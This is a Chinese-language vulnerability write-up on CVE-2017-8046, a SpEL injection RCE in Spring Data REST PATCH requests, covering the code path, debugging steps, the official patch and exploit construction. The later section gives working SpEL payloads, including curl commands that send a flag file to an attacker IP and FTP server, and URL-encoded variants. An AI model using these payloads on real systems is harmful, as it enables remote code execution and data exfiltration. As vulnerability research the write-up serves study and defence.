0x01 何为Spring Data Rest

Spring Data REST是基于Spring Data的repository之上,可以把 repository 自动输出为REST资源,目前支持Spring Data JPA、Spring Data MongoDB、Spring Data Neo4j、Spring Data GemFire、Spring Data Cassandra的 repository 自动转换成REST服务。注意是自动。简单点说,Spring Data REST把我们需要编写的大量REST模版接口做了自动化实现。

0x02 CVE-2017-8046

CVE-2017-8046: RCE in PATCH requests in Spring Data REST

简单地说,该漏洞就是攻击者通过Spring Data Rest支持的PATCH方法,构造恶意的Json格式数据发送到服务端,导致服务端在解析数据时会执行任意Java代码、解析SpEL表达式,从而引发SpEL注入漏洞、造成RCE。

影响版本:

  • Spring Data REST versions 2.5.12, 2.6.7, 3.0 RC3之前的版本
  • Spring Boot versions 2.0.0M4 之前的版本
  • Spring Data release trains Kay-RC3 之前的版本

漏洞具体信息参考链接

有个注意点,请求方法为PATCH,Content-Type要设置为application/json-patch+json才能正常访问。

0x03 漏洞分析

在github下载一个漏洞Demo jar包

本地运行并设置远程调试端口:

1
java -Xdebug -Xrunjdwp:transport=dt_socket,address=8666,server=y,suspend=n -server -jar spring-data-rest.jar

基本操作

访问一遍,显示有两个子路径可以访问:

/persons显示已有哪些创建了的用户,而/profile只有一个子目录/profile/persons、其用来配置persons页面的字段属性等信息。

下面正常操作一遍,先创建用户,GET查看到用户信息:

利用PATCH方法的replace操作修改lastName:

漏洞点

本次CVE的漏洞出发点在PATCH请求进行某些操作如replace时的path参数存在SpEL注入风险,Spring Data Rest在解析该参数值时会使用spelExpress解析SpEL表达式而未进行任何的校验。

我们可以简单地以上面的PATCH例子往path中注入一下SpEL表达式,作用是本地弹出计算器,注意payload后面的斜杠/必须带上,但lastName可以随意更换为其他内容(至于原因可在下面的调试分析中得知):

1
T(java.lang.Runtime).getRuntime().exec('calc.exe')/lastName

调试分析

刚刚已经开了进行远程调试监听的8666端口,直接用IDEA远程连接即可。

简单说下操作:将jar包解压,在IDEA中创建新项目,再右键项目点击Open Module Settings打开设置,在Modules一栏点击右边的+加号添加jar解压后的目录中的lib目录进来,然后点击Apply和OK;点击Run栏,选择Edit Configurations,点击+加号添加Remote,设置IP和端口号为8666,然后点击Debug,当显示Connected to the target VM, address: ‘127.0.0.1:8666’, transport: ‘socket’时即连接成功。

断点打在哪?

我们前面的Demo示例是通过PATCH方法的replace操作来触发漏洞的,也就是说,我们的操作必然会经过PATCH方法的replace操作类,那么我们找到这个类打断点,程序就必然会经过并停止在该断点,然后我们通过函数调用栈窗口可以反推之前调用哪些类方法,再返回去在关键的地方打断点重新调试即可。

这里我们找到该类在如下路径:

1
spring-data-rest/BOOT-INF/lib/spring-data-rest-webmvc-2.6.6.RELEASE.jar!/org/springframework/data/rest/webmvc/json/patch/ReplaceOperation.class

在该处打下断点,必然会经过此处,且看到函数调用栈中有个JsonPatchHandler类,该类应该算是处理Json格式的PATCH请求的类:

到JsonPatchHandler类的apply()和applyPatch()打下断点,重新调试会发现,JsonPatchHandler.apply()方法会调用isJsonPatchRequest()判断请求是否是Json格式的Patch,跟踪进去会发现会校验请求方法是否为PATCH且Content-Type是否为application/json-patch+json,否则会抛出错误,这就是为什么Content-Type必须设置为该值才能触发的原因:

跟踪往下调试进去applyPatch(),其后调用了Patch.convert(),其中识别出replace操作:

继续调试进去,会有个初始化Patch操作的构造函数,从这里可以看到前面Demo为啥需要op等3个参数,且最后一个成员变量spelExpression即是用来解析SpEL表达式的变量,它是SpEL注入漏洞的触发根源,这里调用PathToSpEL.pathToExpression()来解析path参数:

继续跟进调试,发现其进行一个split()切分/的操作,这就解释了为啥Demo的payload中path参数值需要在exp后加上/,因为它这里必须切分路径,而默认正常情况下是“/lastName”:

接着是调用pathNodesToSpEL(),通过调试发现是对/转换为.,然后将path前后路径用.进行拼接:

往下调试,有个初始化spelExpression类对象,其中expression成员变量值为我们注入的SpEL表达式:

往下调试,会创建一个PATCH对象并初始化,然后调用operation.perform()执行PATCH指定操作:

跟进去,调用了setValueOnTarget(),再往后走就是SpEL解析了:

这里我们跟进去看看evaluateValueFromTarget(),顾名思义,该方法用来计算出SpEL表达式的值,其是调用之前初始化好的spelExpression成员变量来解析SpEL表达式:

再往下就是解析完成弹框计算器了。

补丁分析

我们看下官方补丁的修补方法:

补丁就是在evaluateValueFromTarget()函数内添加了对path参数值的路径进行合法性校验,若为非法内容则直接抛出错误。

0x04 exp构造

通用exp

之前本地的exp是,但是这个只能用于本地环境测试:

1
T(java.lang.Runtime).getRuntime().exec('calc.exe')/lastName

换一个远程服务的exp就不能上面那样写了,因为没有回显,下面有两种解决办法。

Method1——执行curl带回flag

当然这种情况是目标机子存在curl命令且能够解析`反引号执行命令。

1
T(java.lang.Runtime).getRuntime().exec('curl yourip:port/?c=`cat flag`')/lastName

但是从前面的调试知道,程序会切分/,因此命令中的/会被切分导致不能到达预期效果,这时就引入了第二种更方便的方法。

Method2——构造回显exp

情况当然没有那么好,`反引号很多时候会无法被正常解析,这时就使用如下的StreamUtils包的copy()方法实现输入输出流来构造回显exp即可。

1
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('cat flag.txt').getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())/Mi1k7ea

示例以Windows本地为例:

使用JavaScipt引擎

和之前的javacon中的exp类似,这里再演示一遍。

先来本地弹计算器测试:

1
T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.lang.Runtime).getRuntime().exec('calc.exe'))/Mi1k7ea

Method1——URL编码

前面遇到的情况是通用exp是一样的,即无法在命令中输入/,但我们可以通过URL编码绕过:

URL编码内容为:

1
java.lang.Runtime.getRuntime().exec('curl http://192.168.43.201:1234/?`whoami`')

exp:

1
T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.net.URLDecoder).decode('%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%33%2e%32%30%31%3a%31%32%33%34%2f%3f%60%77%68%6f%61%6d%69%60%27%29'))/Mi1k7ea

可以看到是执行成功了,但是`反引号并没有被成功解析成命令执行。

这时用curl -T参数来将flag带回我们的FTP服务器中:

1
T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.net.URLDecoder).decode('%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%75%72%6c%20%2d%54%20%66%6c%61%67%2e%74%78%74%20%66%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%33%2e%32%30%31%27%29'))/Mi1k7ea

其中URL编码内容为:

1
java.lang.Runtime.getRuntime().exec('curl -T flag.txt ftp://192.168.43.201')

Method2——构造回显exp

和通用exp中一样,利用一样的包的copy()方法实现回显。

1
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.lang.Runtime).getRuntime().exec('calc')),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())/Mi1k7ea

这个exp只能在Windows本地打开计算器等文件的功能,执行变量其他操作类的命令:

添加个URL编码:

1
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.net.URLDecoder).decode('%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%70%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29')),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())/Mi1k7ea

其中URL编码内容为:

1
java.lang.Runtime.getRuntime().exec("ipconfig").getInputStream()

工具

直接参考Github上的一个项目即可。